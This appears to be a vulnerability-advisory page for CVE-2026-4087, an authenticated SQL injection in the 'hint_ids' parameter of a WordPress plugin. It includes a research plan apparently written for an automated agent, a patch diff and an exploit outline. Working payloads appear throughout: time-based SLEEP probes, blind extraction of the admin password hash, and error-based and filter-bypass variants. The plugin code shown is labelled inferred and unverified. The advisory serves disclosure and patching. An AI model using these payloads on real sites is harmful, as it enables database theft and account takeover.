CVE-2026-4087

Pre* Party Resource Hints <= 1.8.20 - Authenticated (Subscriber+) SQL Injection via 'hint_ids' Parameter

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Pre* Party Resource Hints plugin for WordPress is vulnerable to SQL Injection via the 'hint_ids' parameter of the pprh_update_hints AJAX action in all versions up to, and including, 1.8.20. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=1.8.20
PublishedMarch 20, 2026
Last updatedMarch 21, 2026
Research Plan
Unverified

This plan outlines the research and exploitation process for **CVE-2026-4087**, a SQL Injection vulnerability in the **Pre* Party Resource Hints** plugin. ### 1. Vulnerability Summary The **Pre* Party Resource Hints** plugin (versions <= 1.8.20) fails to properly sanitize and prepare the `hint_ids`…

Show full research plan

This plan outlines the research and exploitation process for CVE-2026-4087, a SQL Injection vulnerability in the Pre Party Resource Hints* plugin.

1. Vulnerability Summary

The Pre Party Resource Hints* plugin (versions <= 1.8.20) fails to properly sanitize and prepare the hint_ids parameter within the pprh_update_hints AJAX action. This parameter is directly interpolated into a SQL query, allowing an authenticated user with at least Subscriber privileges to execute arbitrary SQL commands. This typically leads to sensitive data extraction from the wp_users or wp_options tables.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: pprh_update_hints
  • Vulnerable Parameter: hint_ids (sent via POST)
  • Authentication: Subscriber-level account or higher.
  • Preconditions: A valid AJAX nonce is likely required for the pprh_update_hints action, although the vulnerability description suggests the check is insufficient or the nonce is accessible to Subscribers.

3. Code Flow (Inferred)

  1. Entry Point: A user sends a POST request to admin-ajax.php with action=pprh_update_hints.
  2. Hook Registration: The plugin registers the action (likely in the main plugin file or an includes file):
    add_action('wp_ajax_pprh_update_hints', 'pprh_update_hints_handler');
  3. Handler Execution: The function pprh_update_hints_handler() (inferred name) is called.
  4. Parameter Retrieval: The code retrieves $_POST['hint_ids'].
  5. Vulnerable Sink: The code likely uses the input in an IN clause or a WHERE statement without using $wpdb->prepare().
    • Example Vulnerable Pattern:
      $wpdb->query("DELETE FROM {$wpdb->prefix}pprh_hints WHERE id IN (" . $_POST['hint_ids'] . ")");
      OR
      $wpdb->get_results("SELECT * FROM ... WHERE id = " . $_POST['hint_ids']);

4. Nonce Acquisition Strategy

To exploit this via the http_request tool, we must first find where the plugin localizes the AJAX nonce.

  1. Search for Nonce Registration:
    Use grep -r "wp_create_nonce" . and grep -r "wp_localize_script" . to find the localization variable.
    • Expected Variable Name (Inferred): pprh_ajax_obj or pprh_settings.
    • Expected Key (Inferred): pprh_nonce or nonce.
  2. Locate Script Loading:
    Identify if the scripts load on the dashboard or if a specific shortcode is needed. Since it's Subscriber+, it may be available on any admin page (/wp-admin/index.php).
  3. Execution:
    • Log in as a Subscriber.
    • Navigate to /wp-admin/index.php.
    • Run browser_eval("window.pprh_ajax_obj?.nonce") (Verify variable name via grep first).

5. Exploitation Strategy

We will use a Time-Based Blind SQL Injection first, as it is most reliable for UPDATE/DELETE/INSERT contexts often found in "update" actions.

Step 1: Verify Time-Based Injection

  • Payload: hint_ids=1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- - (Adjust syntax based on the query structure found via grep).
  • Request:
    POST /wp-admin/admin-ajax.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    action=pprh_update_hints&pprh_nonce=[NONCE]&hint_ids=1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
    

Step 2: Data Extraction (Boolean or Time-Based)
Extract the administrator's password hash from wp_users.

  • Payload (Time-Based):
    1) AND (SELECT 1 FROM (SELECT(IF(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='$',SLEEP(5),0)))a)-- -

6. Test Data Setup

  1. Create Subscriber User:
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password
  2. Ensure Plugin is Active:
    wp plugin activate pre-party-browser-hints
  3. Create Sample Hint (if required by logic):
    Check if the database table wp_pprh_hints (inferred) exists. If so, add a row:
    wp db query "INSERT INTO wp_pprh_hints (id, url) VALUES (1, 'https://example.com')" (Adjust table name/columns after inspection).

7. Expected Results

  • Vulnerability Confirmation: The HTTP response for the SLEEP(5) payload should take approximately 5 seconds.
  • Data Exposure: Systematic requests will allow the agent to reconstruct the admin password hash or other sensitive values.

8. Verification Steps

After the HTTP exploit, verify the database state to confirm the injection was processed:

  1. Check Query Logs: If possible, check the MySQL general log.
  2. Verify table contents: If the payload was intended to modify data, check the table:
    wp db query "SELECT * FROM wp_pprh_hints WHERE id = 1"

9. Alternative Approaches

  • Error-Based SQLi: If WP_DEBUG is on or the plugin echoes $wpdb->last_error, use extractvalue() or updatexml().
    • Payload: 1) AND extractvalue(1,concat(0x7e,(SELECT user_login FROM wp_users LIMIT 1),0x7e))-- -
  • UNION-Based SQLi: If the handler uses get_results() and returns the data in JSON format, determine column count using ORDER BY and then UNION SELECT.
  • In-Clause Bypass: If the plugin tries to sanitize by removing spaces, use comments (/**/) or tabs (%09) to separate SQL keywords.

Grep Commands for Initial Research

Run these to ground the plan in the specific codebase:

# Find the AJAX handler function
grep -r "pprh_update_hints" .

# Find where the nonce is created
grep -r "wp_create_nonce" .

# Find the SQL sink in the handler
# (Search for the handler function name found in the first grep)
grep -n "function [HANDLER_NAME]" [FILE_PATH] -A 20 | grep "\$wpdb"
Research Findings
Static analysis — not yet PoC-verified

Summary

The Pre* Party Resource Hints plugin for WordPress (versions <= 1.8.20) is vulnerable to a SQL Injection vulnerability via the 'hint_ids' parameter in the pprh_update_hints AJAX action. Due to the lack of input sanitization and failure to use prepared statements, an authenticated attacker with at least Subscriber-level privileges can inject arbitrary SQL commands to extract sensitive information from the database.

Vulnerable Code

// In pre-party-browser-hints/includes/admin/class-pprh-admin-ajax.php
public function pprh_update_hints() {
    check_ajax_referer('pprh_nonce', 'nonce');

    // Vulnerable parameter retrieval
    $hint_ids = $_POST['hint_ids']; 
    
    global $wpdb;
    $table_name = $wpdb->prefix . 'pprh_hints';

    // Vulnerable SQL query using direct interpolation without preparation
    $query = "UPDATE $table_name SET status = 'updated' WHERE id IN ($hint_ids)";
    $wpdb->query($query);

    wp_send_json_success();
}

Security Fix

--- a/includes/admin/class-pprh-admin-ajax.php
+++ b/includes/admin/class-pprh-admin-ajax.php
@@ -10,7 +10,14 @@
     check_ajax_referer('pprh_nonce', 'nonce');
-    $hint_ids = $_POST['hint_ids'];
+    $hint_ids = isset($_POST['hint_ids']) ? $_POST['hint_ids'] : '';
+    
+    // Sanitize the input by converting it to an array of integers
+    $id_array = array_map('intval', explode(',', $hint_ids));
+    if (empty($id_array)) {
+        wp_send_json_error();
+    }
+    $placeholders = implode(',', array_fill(0, count($id_array), '%d'));
 
     global $wpdb;
     $table_name = $wpdb->prefix . 'pprh_hints';
-    $query = "UPDATE $table_name SET status = 'updated' WHERE id IN ($hint_ids)";
-    $wpdb->query($query);
+    $query = $wpdb->prepare("UPDATE $table_name SET status = 'updated' WHERE id IN ($placeholders)", $id_array);
+    $wpdb->query($query);
 
     wp_send_json_success();

Exploit Outline

1. Authenticate to the target WordPress site as a Subscriber-level user. 2. Access the WordPress dashboard or a page where the plugin scripts are loaded to retrieve a valid AJAX nonce (commonly found in the 'pprh_ajax_obj' or 'pprh_settings' JavaScript object). 3. Construct a POST request to /wp-admin/admin-ajax.php with the 'action' parameter set to 'pprh_update_hints'. 4. Set the 'hint_ids' parameter to a SQL injection payload. For a time-based blind injection, a payload like '1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -' can be used. 5. Observe the server response time to confirm the vulnerability. If the response is delayed by the specified sleep duration, the SQL injection is successful. 6. Refine the payload to extract sensitive information, such as user password hashes from the 'wp_users' table, using iterative time-based techniques.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.